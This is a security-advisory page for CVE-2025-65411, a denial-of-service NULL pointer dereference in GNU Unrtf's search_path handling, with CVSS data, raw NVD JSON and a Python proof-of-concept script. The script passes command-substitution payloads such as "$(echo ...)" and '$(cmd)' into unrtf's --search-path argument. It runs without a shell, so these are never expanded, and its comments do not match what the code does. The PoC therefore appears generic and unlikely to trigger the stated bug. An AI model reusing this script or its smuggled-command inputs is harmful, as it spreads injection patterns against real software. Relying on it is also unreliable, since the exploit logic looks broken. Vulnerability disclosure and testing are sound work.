Security Vulnerability Report
中文
CVE-2025-65411 CVSS 7.5 HIGH

CVE-2025-65411

Published: 2025-12-30 18:15:47
Last Modified: 2026-01-09 19:47:56

Description

A NULL pointer dereference in the src/path.c component of GNU Unrtf v0.21.10 allows attackers to cause a Denial of Service (DoS) via injecting a crafted payload into the search_path parameter.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:unrtf_project:unrtf:0.21.10:*:*:*:*:*:*:* - VULNERABLE
GNU Unrtf < 0.21.10
GNU Unrtf = 0.21.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65411 PoC - GNU Unrtf NULL Pointer Dereference This PoC demonstrates how a crafted search_path parameter can trigger NULL pointer dereference in src/path.c leading to DoS. """ import subprocess import sys import os def generate_malicious_payload(): """ Generate a malicious payload that triggers NULL pointer dereference The payload exploits the search_path parameter handling in path.c """ # Crafted payload that causes NULL pointer dereference # This payload contains special characters that lead to path resolution failure malicious_path = "$(echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')" return malicious_path def trigger_vulnerability(payload): """ Trigger the vulnerability using the malicious payload """ print(f"[*] Triggering CVE-2025-65411 with payload: {payload}") print("[*] This should cause Unrtf to crash with NULL pointer dereference\n") # Method 1: Via command line search_path parameter cmd = ["unrtf", f"--search-path={payload}", "test.rtf"] try: # Create a minimal RTF file if it doesn't exist if not os.path.exists("test.rtf"): with open("test.rtf", "w") as f: f.write("{\\rtf1 test}") result = subprocess.run(cmd, capture_output=True, timeout=5) print(f"[!] Process exited with code: {result.returncode}") except subprocess.TimeoutExpired: print("[+] Timeout - process hung (may indicate vulnerability)") except FileNotFoundError: print("[-] unrtf not found. Please install GNU Unrtf 0.21.10") except Exception as e: print(f"[-] Error: {e}") def main(): print("=" * 60) print("CVE-2025-65411 PoC - GNU Unrtf NULL Pointer Dereference") print("=" * 60) payload = generate_malicious_payload() trigger_vulnerability(payload) print("\n[*] Alternative trigger methods:") print(" 1. unrtf --search-path='$(cmd)' file.rtf") print(" 2. Export SEARCH_PATH='malicious_value' && unrtf file.rtf") print(" 3. Modify RTF file to reference external paths") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65411", "sourceIdentifier": "[email protected]", "published": "2025-12-30T18:15:47.280", "lastModified": "2026-01-09T19:47:55.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in the src/path.c component of GNU Unrtf v0.21.10 allows attackers to cause a Denial of Service (DoS) via injecting a crafted payload into the search_path parameter."}, {"lang": "es", "value": "Una desreferencia de puntero NULL en el componente src/path.c de GNU Unrtf v0.21.10 permite a los atacantes causar una denegación de servicio (DoS) mediante la inyección de una carga útil manipulada en el parámetro search_path."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:unrtf_project:unrtf:0.21.10:*:*:*:*:*:*:*", "matchCriteriaId": "9A69379A-96B2-4B49-B67F-D7310B91C10B"}]}]}], "references": [{"url": "https://github.com/MAXEUR5/Vulnerability_Disclosures/blob/main/2025/CVE-2025-65411.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://lists.gnu.org/archive/html/bug-unrtf/2025-11/msg00000.html", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "https://savannah.gnu.org/projects/unrtf/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://sources.debian.org/src/unrtf/0.21.10-clean-1/src/main.c/#L661", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.gnu.org/software/unrtf/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/MAXEUR5/Vulnerability_Disclosures/blob/main/2025/CVE-2025-65411.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}